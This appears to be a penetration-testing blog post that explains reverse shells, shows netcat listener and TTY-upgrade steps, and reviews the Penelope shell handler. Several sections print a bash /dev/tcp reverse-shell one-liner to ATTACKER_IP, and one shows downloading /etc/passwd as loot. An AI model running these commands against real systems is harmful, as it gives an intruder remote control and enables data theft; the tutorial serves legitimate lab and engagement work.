Skip to Content
BlogsHandling Reverse Shells in 2025: Netcat Fundamentals and a Look at Penelope

Note: I am not affiliated with, nor sponsored by, the developers of Penelope or any other tool mentioned here. Observations are based on personal lab work, the project’s public README, and real‑world engagements. The aim is to outline options, not to promote one tool over another.


1  What is a reverse shell?

A reverse shell is an interactive command prompt that initiates outbound from the target back to your listener. Because most firewalls restrict inbound traffic but allow outbound, this pattern is a staple in post‑exploitation.

[Victim] ───► [Attacker listener]

2  Catching a shell with netcat (baseline)

2.1  Start a listener

nc -lvnp 4444

2.2  Send a one‑liner from the target

bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

2.3  Upgrade the shell to a proper TTY

# once the shell connects python3 -c 'import pty,os,sys; pty.spawn("/bin/bash")' CTRL‑Z # background the shell tty raw -echo; fg # bring it back with sane terminal export TERM=xterm-256color

2.4  Persist (optional)

tmux new -s rev4444 # drop the upgraded shell into tmux to survive disconnects

Why start here? Netcat (or socat) is universally available and has very few moving parts. If anything goes wrong, the troubleshooting surface is small.


3  Penelope: an alternative shell handler

cover Figure 1 — Penelope shell handler logo. Source: Penelope github repo

3.0  Quick‑start and install

Penelope is a single‑file Python 3 program that runs on Unix‑like operators’ hosts (Linux, macOS, FreeBSD). You can visit the official github repo to learn more: https://github.com/brightio/penelope?tab=readme-ov-file

# one‑liner run wget https://raw.githubusercontent.com/brightio/penelope/refs/heads/main/penelope.py -O penelope.py python3 penelope.py # defaults to listening on 0.0.0.0:4444 # or with pipx for a persistent command pipx install git+https://github.com/brightio/penelope

Operator OS note: There is no native Windows build. Use WSL, run from a Unix VM, or fall back to Ncat.

3.1  Typical workflow

penelope Figure 2 — Catching a shell with penelope. Source: Penelope github repo

  1. Start a listener on one or more ports:

    penelope 4444 # listen on default interface penelope 5555 -i eth0 # explicit interface penelope 1111 2222 3333 # multiple ports at once

    Add -a to print ready‑made reverse‑shell one‑liners for every active listener:

    penelope -a 4444 # bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
  2. Shell lands fully upgraded—PTY, colour support, and resize events are handled automatically.

  3. Detach / manage sessions from the “main menu” (press F12 to detach from a shell):

    penelope> sessions # list penelope> interact 2 # foreground session 2 penelope> background # park it again
  4. File transfer & scripts:

    penelope> upload ./linpeas.sh /tmp/ penelope> download /etc/passwd ./loot/passwd.10.0.0.5 penelope> spawn lse.sh # in‑memory execution, output streamed back
  5. Serve a directory over HTTP when you need generic file drops:

    penelope -s ~/payloads # now available at http://ATTACKER_IP:8000/

3.2  Key features (June 2025)

FeatureSupport
Auto‑upgrade to PTY with real‑time resize
Multiple listeners & multiple shells
Background / foreground / maintain shells
Upload / download (file & folder)
In‑memory script execution (Unix targets)
Local port‑forwarding
Integrated HTTP file server (-s)
Session logging with optional timestamps
Importable as a library inside exploits
Operator host: Linux/macOS/FreeBSD
Operator host: Windows (native)❌ (use WSL)

4  Cautious adoption pattern

  1. Personally, I test with netcat first to verify that an outbound connection is even possible:

    nc -lvnp 4444 # on your side # trigger shell from victim…
  2. Terminate the shell (exit or CTRL‑C).

  3. Start Penelope on the same port and trigger the reverse again. This time the connection lands in Penelope. If the connection fails, you know the issue is Penelope‑specific and can pivot back to netcat.

  4. Alternative route: keep the netcat listener for the initial foothold. Once inside, spawn a new reverse shell from the victim that targets Penelope on a different port:

    # still inside first shell bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1' & # Penelope listening on 5555 receives an upgraded session

This “dual‑listener” approach keeps troubleshooting simple while letting you benefit from Penelope’s session management once you trust it.


5  Feature comparison at a glance

Capabilitynetcat / socatPenelope 0.10 (2025‑06‑27)
Basic listener
Auto‑PTY upgradeManual
Real‑time resize
Multi‑session switchVia tmux/screen
Upload/download
Integrated HTTP file server✔ (-s)
Local port‑forwarding
Built‑in logging
Windows operator host✔ (Ncat)
Install footprintNoneSingle Python file

6  Recommendations

  • One‑off CTF or first foothold → netcat is tried‑and‑true and avoids tool‑specific quirks.
  • Longer engagements with multiple shells → Penelope can save clicks, but verify connectivity first.
  • Windows operator box → stick with Ncat or a full C2; Penelope is not currently an option unless you employ WSL.

Choose the tool that fits your environment and fall back to the simplest working option when uncertainties arise.

Happy testing—keep your shells interactive and logged!

Last updated on